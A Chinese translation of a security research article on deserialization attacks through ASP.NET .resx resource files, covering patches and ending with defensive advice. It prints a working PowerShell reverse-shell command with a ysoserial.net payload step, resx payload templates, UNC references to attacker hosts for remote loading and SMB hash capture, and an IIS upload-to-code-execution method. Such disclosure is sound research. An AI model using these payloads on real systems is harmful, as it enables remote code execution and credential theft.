对ASP.NET资源文件(.RESX)及反序列化漏洞的研究

阅读量    58356 |   稿费 160

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

概述

ASP.NET应用程序中的资源文件通常用作本地化存储,它们可用于存储 用户交互界面元素 或 可被轻松翻译的字符串[1]。这些资源文件一般用.resx作为文件拓展名,而当它们以.resources作为文件拓展名时,还能够被应用程序编译使用。可在微软的网站上了解到资源文件的更多信息[2, 3]

这些资源文件虽然是XML格式的,但是它们仍可以包含序列化对象。二进制对象在被序列化后,可以存储在以base64编码的.resx文件中。资源文件支持BinaryFormatterSoapFormatterTypeConverters,这些方法均能被滥用于 反序列化不够安全的对象 或是 加载外部文件

这篇文章旨在更详细地讨论这种attack vector(攻击向量),提升大家对它的认知深度,本研究中确认问题的灵感来源于AlvaroMuñoz和Oleksandr Mirosh撰写的白皮书, Friday the 13th JSON Attacks8

 

补丁与遗留问题

我早在2018年1月时便向微软报告了资源文件(.resx.resources)中的一些反序列化问题,但直至2018年7月微软才在许多产品中发布了多个补丁(CVE-2018-8172,CVE-2018-8172和 CVE-2018-8300),例如在这之前 SharePoint 与 Visual Studio 一直都在以不安全的方式处理资源文件[7]

在打上2018年7月的补丁后,已经无法在 Visual Studio 中直接打开有着Web记号(MOTW)[8]的.resx.resources文件。当MOTW工作时,resgen.exe工具[9]会显示错误,而winres.exe工具[10]则会始终显示警告消息。值得注意的是,从压缩包中解压出的文件 或者是从 IE或Edge之外的浏览器中下载的文件 可能并被没有MOTW,大家应该更加谨慎地处理它们

微软开发者中心(MSDN)[11]的System.Resources命名空间文档也已经有了对应更新,包括ResourceManagerResourceReaderResourceSet方法的如下安全说明:

“Calling methods in this class with untrusted data is a security risk. Call the methods in the class only with trusted data. For more information, see Untrusted Data Security Risks”.
“使用不受信任的数据调用此类中的方法存在安全风险。仅使用受信任的数据调用此类中的方法。有关的更多信息,可参阅 不被信任数据存在的安全风险

我们应该注意到,System.Resources方法的行为尚未被更改,因此所有使用了ASP.NET库 读取、编译 或是 反编译 资源文件的应用程序(例如[12]和[13]),如果接受用户提供的资源文件,则很可能会受到攻击

 

如何对System.Resources命名空间产生影响?

因为无法事先确定资源文件中的序列化对象类型,所以不能通过排查 不安全的反序列化 这种方法来防止恶意代码执行。虽然在使用BinaryFormatter时可以保护到某些方法,但是想要预防所有的攻击是根本于事无补的,因为SoapFormatterTypeConverters可以用作替代方法进行绕过

资源文件 还可以使用 UNC路径 指向本地文件或共享资源,而这又可能导致 文件枚举 或 SMB哈希劫持 等次要风险。当客户端工具被当成目标时, SMB哈希劫持可能会面临更高更大的风险

由于.resx文件基于XML,因此在使用普通XML库读取资源文件时,自定义的解析器可能容易遭受XML外部实体(XXE)攻击。但是默认情况下,ResXResourceReader类并不会处理 文档类型定义(DTD)这部分的XmlTextReader

技术细节

可以使用 数据的mimetype属性 和 元数据标签 在资源文件内反序列化对象,此外type属性还可以被用来反序列化使用了TypeConverters的对象

通过BinaryFormatter和SoapFormatter进行反序列化

在以下情况使用BinaryFormatterSystem.Runtime.Serialization.Formatters.Binary.BinaryFormatter)对资源文件中的对象进行反序列化:

  • mimetype属性提交空值给数据标签;或者
  • mimetype属性是以下数据元数据标签之一:
application/x-microsoft.net.object.binary.base64
text/microsoft-urt/psuedoml-serialized/base64
text/microsoft-urt/binary-serialized/base64

在以下情况使用SoapFormatterSystem.Runtime.Serialization.Formatters.Soap.SoapFormatter)对资源文件中的对象进行反序列化:

  • mimetype属性是以下数据元数据标签之一:
application/x-microsoft.net.object.soap.base64
text/microsoft-urt/soap-serialized/base64

由[14]处的源代码可知,SoapFormatter并没有通过System.Web被使用,然而这仍然可以通过 将 资源文件 上传到 ASP.NET Web应用程序 的资源文件夹中来执行

ysoserial.net项目[15]可在没有事先知道反序列化问题的情况下,生成Payload(攻击载荷)。下面的例子展示了如何生成具有 反向PowerShell 功能的Payload(攻击载荷)

$command = '$client = New-Object System.Net.Sockets.TCPClient("remote_IP_here", remote_PORT_here);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

./ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "powershell.exe -encodedCommand $encodedCommand"

然后如下所示,将生成的Payload(攻击载荷)用于资源文件当中

[Resource file default scheme and headers redacted]

<data name="test1_BinaryFormatter" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[BinaryFormatter payload goes here without the square brackets]</value>
</data>

通过TypeConverters进行反序列化

虽然资源文件在多数情况下会使用TypeConverters,但是那些受CanConvertFrom方法检查的兼容类型同样也很重要。攻击者能够通过查找合适的类文件,使用ConvertFrom方法来执行代码。关于这种攻击的更多信息,可以查看 Friday the 13th JSON Attacks [5] 白皮书

以下方案展示了,TypeConverters在作为type属性的fully qualified assembly name(完全限定集名)的资源文件里的用法[译者注:这段真的难译啊T T]

  • application / x-microsoft.net.object.bytearray.base64mimetype里时:
<data name="test1" mimetype="application/x-microsoft.net.object.bytearray.base64" type="A Fully Qualified Assembly Name Here"><value>Base64 ByteArray Payload Here</value></data>

它需要接受一个CanConvertFrombyte []类型的类文件

  • mimetype属性不可用、type属性不为null(空)且不包含System.Byte []类型和mscorlib字符串时:
<data name="test1" type="A Fully Qualified Assembly Name Here">
<value>String Payload Here</value>
</data>

它需要接受一个CanConvertFromString类型的类文件

  • 当能够包含使用了System.Resources.ResXFileRef类型的外部文件路径时:
<data name="test1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>UNC_PATH_HERE; A Fully Qualified Assembly Name Here</value>
</data>

在获取fully qualified assembly name(完全限定集名)时,它支持StringByte []MemoryStream类型,而这又可能会被滥用于加载 包含了恶意序列化对象 的另一个资源文件,于是便可用来绕过对初始资源文件的潜在限制条件。下面的数据标签就是一个例子:

<data name="foobar" type="System.Resources.ResXFileRef">
 <value>
 \attacker.compayload.resx; System.Resources.ResXResourceSet, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
 </value>
 </data>

ResXFileRef类型还可以通过错误消息用作 文件枚举,也能通过 UNC路径 进行SMB哈希劫持。 比如:

<data name="foobar" type="System.Resources.ResXFileRef, System.Windows.Forms">
 <value>\AttackerServertesttest;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
 </data>

 

趣味示例:在IIS上攻击不安全的文件上传程序

除了那些 允许用户提供任意资源文件 用来 自定义其本地设置 的应用软件 和 在用户交互界面显示 资源文件 的应用程序之外,具有以下特征的文件上传程序也很有可能受到影响:

  • 可以上传扩展名为.resx.resources的文件,并且
  • 文件可以上传到 被上传文件夹 中的任意子文件夹中,并且
  • 被上传文件夹可以通过Web访问到,并且
  • 尚未禁用被上传文件夹中ASP.NET程序(*.aspx*.ashx*.asmx*_appservice.axd)的执行权限

将资源文件直接上传到App_GlobalResourcesApp_LocalResources文件夹,可能导致远程代码执行,这将使那些未考虑到.resx.resources 并且 允许用户上传这些文件 的应用程序陷入危险的境地。正因为App_GlobalResources目录只可能位于应用程序的根目录下,所以App_LocalResources文件夹简直就是为此类攻击而生

攻击者可以将恶意资源文件(.resx.resources)上传到 被上传文件夹 中的App_LocalResources文件夹,然后从 被上传文件夹 中调用任意ASP.NET文件(甚至不管存在与否)来执行任意代码

可以使用resgen.exe工具编译.resx文件以创建.resources,值得一提的是exploit code(EXP,漏洞利用代码)也将在编译过程中被执行

如果尚未在IIS服务器上创建过文件夹,攻击者则可以使用App_LocalResources :: $ Index_allocationApp_LocalResources:$ i30:$ index_allocation trick in filename创建App_LocalResources文件夹。获取更多有关此技术的信息,可参阅OWASP.org [16]

以下文件和目录树显示了成功上载文件的示例:

|_ wwwroot
     |_ MyApp
         |_ Userfiles
              |_ App_LocalResources
                     |_ test.resx

到现在为止,只要打开/MyApp/Usefiles/foobar.aspx页面,就能够在Web服务器上执行代码,test.resx文件可以用它被编译过后的文件test.resources替换,foobar.aspx文件也无需存在于服务器上

 

结论

  1. 没有经过足够的验证时,请勿相信任何资源文件
  2. 如果资源文件必须用在 包含字符串的值 上,那么建议使用simple XML parser object(简单XML解析器对象)解析.resx文件并读取值,而不要去处理DTD部分,这样便可以安全地对通用类型数据进行处理,而并不需要使用反序列化、类型转换器和文件引用功能
  3. 为了保护文件上传程序,请确保在 被上传文件夹 中禁用ASP.NET扩展,并且配合使用白名单验证的方法(不要包括.resx.resources扩展名)。 更多的建议可以在OWASP.org [16]中获取

 

引用的相关资源

[1] https://msdn.microsoft.com/en-us/library/ms247246.aspx
[2] https://msdn.microsoft.com/en-us/library/ekyft91f(v=vs.85).aspx
[3] https://docs.microsoft.com/en-us/dotnet/framework/resources/working-with-resx-files-programmatically
[4] https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
[5] https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
[6] https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments
[7] https://www.nccgroup.trust/uk/our-research/technical-advisory-code-execution-by-unsafe-resource-handling-in-multiple-microsoft-products/
[8] https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/compatibility/ms537628(v=vs.85)
[9] https://docs.microsoft.com/en-us/dotnet/framework/tools/resgen-exe-resource-file-generator
[10] https://docs.microsoft.com/en-us/dotnet/framework/tools/winres-exe-windows-forms-resource-editor
[11] https://msdn.microsoft.com/en-us/library/system.resources(v=vs.110).aspx
[12] https://www.nccgroup.trust/uk/our-research/technical-advisory-code-execution-by-viewing-resource-files-in-net-reflector/
[13] https://github.com/icsharpcode/ILSpy/issues/1196
[14] http://referencesource.microsoft.com/#System.Windows.Forms/winforms/Managed/System/Resources/ResXDataNode.cs,459
[15] https://github.com/pwntester/ysoserial.net
[16] https://www.owasp.org/index.php/Unrestricted_File_Upload

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多